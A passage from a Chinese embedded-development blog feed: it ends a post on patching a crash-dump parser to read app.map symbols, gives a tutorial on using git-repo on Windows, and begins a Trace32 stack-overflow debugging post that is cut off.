<p>生成的map文件，所以通过Quec_Crane_Dump_Memory_Parse_Too 解析的结果只包含kernel侧的信息，通常客户的代码是在 app 侧，如果问题发生在app侧，在分析时无法通过app侧的解析得到更多线索，这是这个工具存在的问题。</p>
<h2 id="修改以支持appmap解析的方法">修改以支持app.map解析的方法</h2>
<p>主要修改两个文件：_scripts/cp_dump.py 和 _scripts/cp_map.py</p>
<p>_scripts/cp_dump.py 里面去除只能解析一个map文件的限制，直接返回包含app.map和kernel.map这两个的文件的路径：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl"><span class="gh">diff --git a/_scripts/cp_dump.py b/_scripts/cp_dump.py
</span></span></span><span class="line"><span class="cl"><span class="gh">index 76221d4..3b6920b 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/_scripts/cp_dump.py
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/_scripts/cp_dump.py
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -79,12 +79,12 @@ class CpDump:
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>                 print(&#34;no map file found!&#34;)
</span></span><span class="line"><span class="cl">                 print(&#39;================================\n&#39;)
</span></span><span class="line"><span class="cl">                 sys.exit(2)
</span></span><span class="line"><span class="cl"><span class="gd">-        if len(map_list) &gt; 1:
</span></span></span><span class="line"><span class="cl"><span class="gd">-            print(&#34;too many map files. Which one to be used?\n&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gd">-            for ff in map_list:
</span></span></span><span class="line"><span class="cl"><span class="gd">-                print(&#34;\t&#34;+ff+&#34;\n&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gd">-            sys.exit(3)
</span></span></span><span class="line"><span class="cl"><span class="gd">-        return map_list[0]
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+        # if len(map_list) &gt; 1:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        #     print(&#34;too many map files. Which one to be used?\n&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        #     for ff in map_list:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        #         print(&#34;\t&#34;+ff+&#34;\n&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        #     sys.exit(3)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return map_list
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     
</span></span><span class="line"><span class="cl">     def memory_block(self, address):
</span></span><span class="line"><span class="cl">         if address &gt;= self.dtcm_base and address &lt; self.dtcm_base + len(self.dtcm):
</span></span></code></pre></td></tr></table>
</div>
</div><p>在 _scripts/cp_map.py 这个文件里面，分别加载kernel.map和app.map文件，并新增对 app.map 解析的方法，主要新增一个正则表达式用来提取app.map中的函数名、函数起始地址和函数的大小：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span><span class="lnt">83
</span><span class="lnt">84
</span><span class="lnt">85
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-diff" data-lang="diff"><span class="line"><span class="cl">iff --git a/_scripts/cp_map.py b/_scripts/cp_map.py
</span></span><span class="line"><span class="cl"><span class="gh">index 6f07124..f99bc25 100644
</span></span></span><span class="line"><span class="cl"><span class="gh"></span><span class="gd">--- a/_scripts/cp_map.py
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+++ b/_scripts/cp_map.py
</span></span></span><span class="line"><span class="cl"><span class="gi"></span><span class="gu">@@ -7,10 +7,30 @@ class ImageMap:
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>         self.gd_list = []
</span></span><span class="line"><span class="cl">         self.ddr_base = 0
</span></span><span class="line"><span class="cl">         self.dtcm_base = 0
</span></span><span class="line"><span class="cl"><span class="gd">-        if os.path.isfile(fname):
</span></span></span><span class="line"><span class="cl"><span class="gd">-            self.load_map_file(fname)
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+        app_map = &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        kernel_map = &#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+        map_len = len(fname)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if map_len &gt; 1:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            for ff in fname:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                if &#34;app&#34; in ff:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    app_map = ff
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    print(&#34;INFO: find app map {}\n&#34;.format(app_map))
</span></span></span><span class="line"><span class="cl"><span class="gi">+                else:
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    kernel_map = ff
</span></span></span><span class="line"><span class="cl"><span class="gi">+                    print(&#34;INFO: find kernel map {}\n&#34;.format(kernel_map))
</span></span></span><span class="line"><span class="cl"><span class="gi">+                
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>         else:
</span></span><span class="line"><span class="cl"><span class="gd">-            print(&#34;ERROR: %s not exist\n&#34;, fname)
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+            kernel_map = fname[0]
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if os.path.isfile(kernel_map):
</span></span></span><span class="line"><span class="cl"><span class="gi">+            self.load_kernel_map_file(kernel_map)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        else:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            print(&#34;ERROR: kernel_map:{} not exist\n&#34;.format(kernel_map))
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if os.path.isfile(app_map):
</span></span></span><span class="line"><span class="cl"><span class="gi">+            self.load_app_map_file(app_map)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        else:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            print(&#34;ERROR: app_map:{} not exist\n&#34;.format(app_map))
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>         
</span></span><span class="line"><span class="cl">     def get_thumb_function(self, line):
</span></span><span class="line"><span class="cl">         r = re.search(&#39;\s+(.+)\s+0x([0-9a-fA-F]+)\s+Thumb Code\s+(\d+)\s+\S+\S+&#39;, line)
</span></span><span class="line"><span class="cl"><span class="gu">@@ -21,6 +41,20 @@ class ImageMap:
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>         fn[&#39;start&#39;] = int(txt_start, 16)
</span></span><span class="line"><span class="cl">         fn[&#39;size&#39;] = int(txt_size)
</span></span><span class="line"><span class="cl">         return fn
</span></span><span class="line"><span class="cl"><span class="gi">+    
</span></span></span><span class="line"><span class="cl"><span class="gi">+    def get_app_function(self, map_data):
</span></span></span><span class="line"><span class="cl"><span class="gi">+        fn = []
</span></span></span><span class="line"><span class="cl"><span class="gi">+        funcs = re.findall(&#39;\s+\.text\.(\w.*?)\n\s.*?0x(?!00000000)([0-9a-fA-F]+)\s+0x([0-9a-fA-F]+)(?:.*?\.o)&#39;, map_data)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if len(funcs)==0:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            print(&#34;ERROR:no app funcs found&#34;)
</span></span></span><span class="line"><span class="cl"><span class="gi">+            return fn
</span></span></span><span class="line"><span class="cl"><span class="gi">+        keys = [&#34;name&#34;, &#34;start&#34;, &#34;size&#34;]
</span></span></span><span class="line"><span class="cl"><span class="gi">+        for i in funcs:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            f = dict(zip(keys, [i[0],int(i[1], 16),int(i[2], 16)]))
</span></span></span><span class="line"><span class="cl"><span class="gi">+            fn.append(f)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return fn
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>         
</span></span><span class="line"><span class="cl">     def get_arm_function(self, line):    
</span></span><span class="line"><span class="cl">         r = re.search(&#39;\s+(.+)\s+0x([0-9a-fA-F]+)\s+ARM Code\s+(\d+)\s+\S+\S+&#39;, line)
</span></span><span class="line"><span class="cl"><span class="gu">@@ -54,7 +88,7 @@ class ImageMap:
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>         txt_name, txt_start, txt_size = r.groups()
</span></span><span class="line"><span class="cl">         return int(txt_start, 16)
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="gd">-    def load_map_file(self, fname):
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+    def load_kernel_map_file(self, fname):
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>         self.fn_list = []
</span></span><span class="line"><span class="cl">         self.gd_list = []
</span></span><span class="line"><span class="cl">         self.ddr_base = 0
</span></span><span class="line"><span class="cl"><span class="gu">@@ -72,7 +106,15 @@ class ImageMap:
</span></span></span><span class="line"><span class="cl"><span class="gu"></span>                 elif line.find(&#39;Image$$DDR_DTCM$$Base&#39;) &gt; 0:
</span></span><span class="line"><span class="cl">                     self.dtcm_base = self.get_dtcm_base(line)
</span></span><span class="line"><span class="cl">         self.fn_list.sort(key=lambda x:x[&#39;start&#39;])
</span></span><span class="line"><span class="cl"><span class="gd">-        
</span></span></span><span class="line"><span class="cl"><span class="gd"></span><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    def load_app_map_file(self, fname):
</span></span></span><span class="line"><span class="cl"><span class="gi">+        with open(fname, &#39;r&#39;) as f:
</span></span></span><span class="line"><span class="cl"><span class="gi">+            map_data = f.read()
</span></span></span><span class="line"><span class="cl"><span class="gi">+        fn_list = self.get_app_function(map_data)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        self.fn_list.extend(fn_list)
</span></span></span><span class="line"><span class="cl"><span class="gi">+        self.fn_list.sort(key=lambda x:x[&#39;start&#39;]) 
</span></span></span><span class="line"><span class="cl"><span class="gi">+        # with open(&#34;all_funcs.txt&#34;, &#39;w&#39;) as f:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        #     print(self.fn_list,file=f)
</span></span></span><span class="line"><span class="cl"><span class="gi"></span>     
</span></span><span class="line"><span class="cl">     def search_functions(self, func_list, address):
</span></span><span class="line"><span class="cl">         if len(func_list) &gt; 10:
</span></span></code></pre></td></tr></table>
</div>
</div><p>其中提取app.map中函数信息的正则表达式: <code>\s+\.text\.(\w.*?)\n\s.*?0x(?!00000000)([0-9a-fA-F]+)\s+0x([0-9a-fA-F]+)(?:.*?\.o)</code></p>
<p>提取函数名、起始地址和函数大小，有这三个信息之后就可以根据内存地址找到对应的函数了。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.5zw699c7x7w0.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.7gdw7w6kjy80.png" alt=""  />
</p>
<h2 id="结果对比">结果对比</h2>
<p>修改之后，output_all_task.txt 解析任务栈中函数调用关系的结果中，补充了app侧的函数调用。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.16fe13kbvn0g.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.6ovxrht33bk0.png" alt=""  />
</p>
<p>output_osa_mem.txt 中也增加了在app侧申请内存的函数的显示。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.natwx27pd40.png" alt=""  />
</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/xxx.3ktys22a8mc0.png" alt=""  />
</p>
<h2 id="quec_crane_dump_memory_parse_tool-工具的使用场景">Quec_Crane_Dump_Memory_Parse_Tool 工具的使用场景</h2>
<ol>
<li>
<p>排查内存泄漏问题和内存破坏问题</p>
<p>通过 output_osa_mem.txt 的解析结果定位内存泄漏和内存破坏的位置，以及内存申请失败问题。</p>
</li>
<li>
<p>排查中断、高优先级task 耗时长导致死机问题</p>
<p>output_rti_tsk.txt 解析结果记录了一段时间内任务调度的情况，其中包含每个task执行的耗时时间，从中可以判断和定位一些中断回调、高优先级task有阻塞动作导致的死机问题</p>
</li>
<li>
<p>查看死机时task的调用栈信息</p>
<p>output_all_task.txt 里面包含死机时函数的调用栈信息，在 trace 32 解析dump时看不到任务调用栈信息的情况下（比如 pc寄存器非法，调用栈为空的情况），这时可以通过output_all_task.txt看调用栈信息，可以定位出现问题的大致范围。</p>
</li>
<li>
<p>作为一种调试方法</p>
<p>主动触发dump，通过 output_rti_tsk.txt 查看任务切换的情况，调试多任务调度下的一些奇怪问题。</p>
<p>通过 output_all_task.txt， 除了可以查看当前死机的task，还可以查看其他task的信息，任务的优先级、任务栈大小和剩余大小和任务调用栈，通过这些信息也可以看下这些task的优先级和任务栈大小设置是否合理，以及task在休眠之前调用了哪些函数。</p>
</li>
</ol>
]]></content:encoded>
    </item>
    <item>
      <title>在 windows 平台上 使用 git 多仓库管理工具 repo</title>
      <link>https://hacperme.com/posts/notes/2021-12-27-git_repo_on_windows/</link>
      <pubDate>Mon, 27 Dec 2021 08:00:12 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2021-12-27-git_repo_on_windows/</guid>
      <description>repo 介绍 一个大型项目通常会有多个仓库构成，比如 Android 项目，通过 manifest 清单（xml 文件）定义一个项目中各个 git 代码仓库的关联，而 repo 就是在这种项目组织方式下</description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="https://images.hive.blog/DQmSGXHJfKaAaVnF2r9UguGKRsASW67yL7RErYrTEpJqfTk/photo-1640012249194-ac74a4d7c03a.jpg" alt="photo-1640012249194-ac74a4d7c03a.jpg"  />
</p>
<h2 id="repo-介绍">repo 介绍</h2>
<p>一个大型项目通常会有多个仓库构成，比如 Android 项目，通过 manifest 清单（xml 文件）定义一个项目中各个 git 代码仓库的关联，而 repo 就是在这种项目组织方式下的一个用于多仓库协同开发和代码评审的一个客户端工具。</p>
<p>repo 是使用 python 开发实现的，需要安装 python 才能运行，repo 可以用于下载和提交代码，以及对多个代码仓库同时执行 git 命令，在他的官网上可以找到更多关于repo的介绍资料：<a href="https://gerrit.googlesource.com/git-repo/+/HEAD/README.md">https://gerrit.googlesource.com/git-repo/+/HEAD/README.md</a>。</p>
<h2 id="windows-系统使用-repo">Windows 系统使用 repo</h2>
<p>原始的 Google repo 工具仅支持在 Linux 系统下运行，现在支持 python 2 和 python 3，但无法在 Windows 上使用，这使得一些在 Windows 系统环境下开发的项目使用 repo 不太方便。</p>
<p>如果需要在Windows下使用，可以使用第三方的 <a href="https://github.com/esrlabs/git-repo">esrlabs repo</a>，按照官网介绍下载安装repo，并添加环境变量就可以使用了，目前仅支持 python2，esrlabs repo 的命令参数兼容原始的google repo，这算是 Windows 下使用 repo 的一个替代方案。如果使用的是 Windows 10，还可以在 Windows 10 的Linux 子系统下安装原始 repo，在 Linux 子系统进行多仓库管理，这是第二个方案。第三个方案是使用 go 语言开发 git-repo 替代 repo，下面介绍 git-repo 的安装和使用。</p>
<h2 id="git-repo-介绍和使用示例">git-repo 介绍和使用示例</h2>
<p>git-repo 是一个使用 go 编写的仓库管理工具，与原始 repo 相比，支持 Windows、Mac 和 Linux 系统，除了git，没有其他软件依赖，兼容多数原始的 repo 命令，速度也比 python 编写的 repo 快，所以在 Windows 平台上 git-repo 算是一个很好的替代原始 repo 的选择，它的官网地址为：<a href="https://git-repo.info/zh_cn/">https://git-repo.info/zh_cn/</a>，可以了解更多信息。</p>
<ol>
<li>安装</li>
</ol>
<p>在 <a href="https://git-repo.info/zh_cn/download/">https://git-repo.info/zh_cn/download/</a> 下载对应平台的二进制执行文件，然后将其添加到环境变量。</p>
<p>在 Windows上打开 git bash，能够正确执行 git repo version 命令说明安装好了。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git repo version
</span></span><span class="line"><span class="cl">git-repo version 0.7.8
</span></span><span class="line"><span class="cl">git version 2.22.0.windows.1
</span></span></code></pre></td></tr></table>
</div>
</div><ol start="2">
<li>使用示例</li>
</ol>
<p>git-repo 在使用上是作为 git 的一个子命令 git repo 来使用的，在 git repo 后面输入命令参数。</p>
<p>初始化项目：git repo init -u &lt; manifest-url&gt;</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git repo init -u git@gitee.com:qioixiy/manifests.git
</span></span><span class="line"><span class="cl">Warning: Permanently added the ECDSA host key <span class="k">for</span> IP address <span class="s1">&#39;212.64.62.183&#39;</span> to the list of known hosts.
</span></span><span class="line"><span class="cl">remote: Enumerating objects: 17, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">remote: Total <span class="m">17</span> <span class="o">(</span>delta 0<span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta 0<span class="o">)</span>, pack-reused <span class="m">17</span>
</span></span><span class="line"><span class="cl">Unpacking objects: 100% <span class="o">(</span>17/17<span class="o">)</span>, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">From gitee.com:qioixiy/manifests
</span></span><span class="line"><span class="cl"> * <span class="o">[</span>new branch<span class="o">]</span>      master     -&gt; origin/master
</span></span><span class="line"><span class="cl">Note: checking out <span class="s1">&#39;20dd4a7db47f19b7e59f4e880a46ac9732cd4986&#39;</span>.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">You are in <span class="s1">&#39;detached HEAD&#39;</span> state. You can look around, make experimental
</span></span><span class="line"><span class="cl">changes and commit them, and you can discard any commits you make in this
</span></span><span class="line"><span class="cl">state without impacting any branches by performing another checkout.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If you want to create a new branch to retain commits you create, you may
</span></span><span class="line"><span class="cl"><span class="k">do</span> so <span class="o">(</span>now or later<span class="o">)</span> by using -b with the checkout <span class="nb">command</span> again. Example:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  git checkout -b &lt;new-branch-name&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">HEAD is now at 20dd4a7 Add trac into dev-env
</span></span><span class="line"><span class="cl">Switched to a new branch <span class="s1">&#39;default&#39;</span>
</span></span><span class="line"><span class="cl">NOTE: Your identity is: hacper &lt;git&gt;
</span></span><span class="line"><span class="cl">NOTE: If you want to change this, please re-run <span class="s1">&#39;git repo init&#39;</span> with --config-name
</span></span><span class="line"><span class="cl">NOTE: repo has been initialized in G:<span class="se">\W</span>orkspace<span class="se">\f</span>sl
</span></span><span class="line"><span class="cl">&lt;/git&gt;&lt;/new-branch-name&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>初始化成功会有一个 .repo 隐藏目录。</p>
<p>同步代码：git repo sync</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git repo sync
</span></span><span class="line"><span class="cl">remote: Enumerating objects: 315, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">remote: Enumerating objects: 6069, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">remote: Total <span class="m">315</span> <span class="o">(</span>delta 0<span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta 0<span class="o">)</span>, pack-reused <span class="m">315</span>
</span></span><span class="line"><span class="cl">Receiving objects: 100% <span class="o">(</span>315/315<span class="o">)</span>, 120.01 KiB <span class="p">|</span> 278.00 KiB/s, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">Resolving deltas: 100% <span class="o">(</span>126/126<span class="o">)</span>, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">From https://gitee.com/qioixiy/shell.profileiB <span class="p">|</span> 262.00 KiB/s
</span></span><span class="line"><span class="cl"> * <span class="o">[</span>new branch<span class="o">]</span>      master     -&gt; gitee_qioixiy/master
</span></span><span class="line"><span class="cl">remote: Total <span class="m">6069</span> <span class="o">(</span>delta 0<span class="o">)</span>, reused <span class="m">0</span> <span class="o">(</span>delta 0<span class="o">)</span>, pack-reused <span class="m">6069</span>
</span></span><span class="line"><span class="cl">Receiving objects: 100% <span class="o">(</span>6069/6069<span class="o">)</span>, 2.35 MiB <span class="p">|</span> 497.00 KiB/s, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">Resolving deltas: 100% <span class="o">(</span>4069/4069<span class="o">)</span>, <span class="k">done</span>.
</span></span><span class="line"><span class="cl">From https://gitee.com/qioixiy/git-repo
</span></span><span class="line"><span class="cl"> * <span class="o">[</span>new branch<span class="o">]</span>      main       -&gt; gitee_qioixiy/main
</span></span><span class="line"><span class="cl"> * <span class="o">[</span>new branch<span class="o">]</span>      master     -&gt; gitee_qioixiy/master
</span></span><span class="line"><span class="cl">ERROR: 404: bad ssh_info response of <span class="s1">&#39;http://gitee.com/ssh_info&#39;</span>
</span></span><span class="line"><span class="cl">NOTE: fail to check remote server, you may need to install gerrit hooks by hands
</span></span><span class="line"><span class="cl">ERROR: fail to load remotes: gitee_qioixiy
</span></span><span class="line"><span class="cl">Note: checking out <span class="s1">&#39;d7399d9ca2cfe40dcee22f0ea6ce0cdd283e5a78&#39;</span>.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">You are in <span class="s1">&#39;detached HEAD&#39;</span> state. You can look around, make experimental
</span></span><span class="line"><span class="cl">changes and commit them, and you can discard any commits you make in this
</span></span><span class="line"><span class="cl">state without impacting any branches by performing another checkout.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If you want to create a new branch to retain commits you create, you may
</span></span><span class="line"><span class="cl"><span class="k">do</span> so <span class="o">(</span>now or later<span class="o">)</span> by using -b with the checkout <span class="nb">command</span> again. Example:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  git checkout -b &lt;new-branch-name&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">HEAD is now at d7399d9 update home_dot/files/.profile_priv.
</span></span><span class="line"><span class="cl">Note: checking out <span class="s1">&#39;6a2f4fb39073a4e2e6824d5f2f4a1cbf5fe4b766&#39;</span>.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">You are in <span class="s1">&#39;detached HEAD&#39;</span> state. You can look around, make experimental
</span></span><span class="line"><span class="cl">changes and commit them, and you can discard any commits you make in this
</span></span><span class="line"><span class="cl">state without impacting any branches by performing another checkout.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">If you want to create a new branch to retain commits you create, you may
</span></span><span class="line"><span class="cl"><span class="k">do</span> so <span class="o">(</span>now or later<span class="o">)</span> by using -b with the checkout <span class="nb">command</span> again. Example:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  git checkout -b &lt;new-branch-name&gt;
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">HEAD is now at 6a2f4fb repo init: Added --no-partial-clone and made it persist. Bumped version to 2.14.
</span></span><span class="line"><span class="cl">&lt;/new-branch-name&gt;&lt;/new-branch-name&gt;
</span></span></code></pre></td></tr></table>
</div>
</div><p>下载代码成功结果如下：</p>
<p><img loading="lazy" src="https://cdn.jsdelivr.net/gh/hacperme/picx_hosting/raw/master/20211226/xxx.7dh4nlz4oew0.png" alt=""  />
</p>
<p>创建新分支：git repo start &ndash;all new_branch_name</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git repo start --all fea/test
</span></span><span class="line"><span class="cl">Switched to a new branch <span class="s1">&#39;fea/test&#39;</span>
</span></span><span class="line"><span class="cl">Switched to a new branch <span class="s1">&#39;fea/test&#39;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>提交代码： git repo upload</p>
]]></content:encoded>
    </item>
    <item>
      <title>使用 Trace32 分析局部变量越界导致的死机问题</title>
      <link>https://hacperme.com/posts/series/dump/2021-10-31_trace32_dump/</link>
      <pubDate>Sun, 31 Oct 2021 13:21:28 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/2021-10-31_trace32_dump/</guid>
      <description>创建两个线程和一个消息队列，一个线程发消息，另一个线程接收消息，消息的大小是1个字节，在这样的情况下，接收消息的线程一收到消息会出现死机问题</description>
      <content:encoded><![CDATA[<p>创建两个线程和一个消息队列，一个线程发消息，另一个线程接收消息，消息的大小是1个字节，在这样的情况下，接收消息的线程一收到消息会出现死机问题，但如果在接收消息之前加一行log打印的代码就不会死机，非常神奇的 bug，以下是示例代码：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
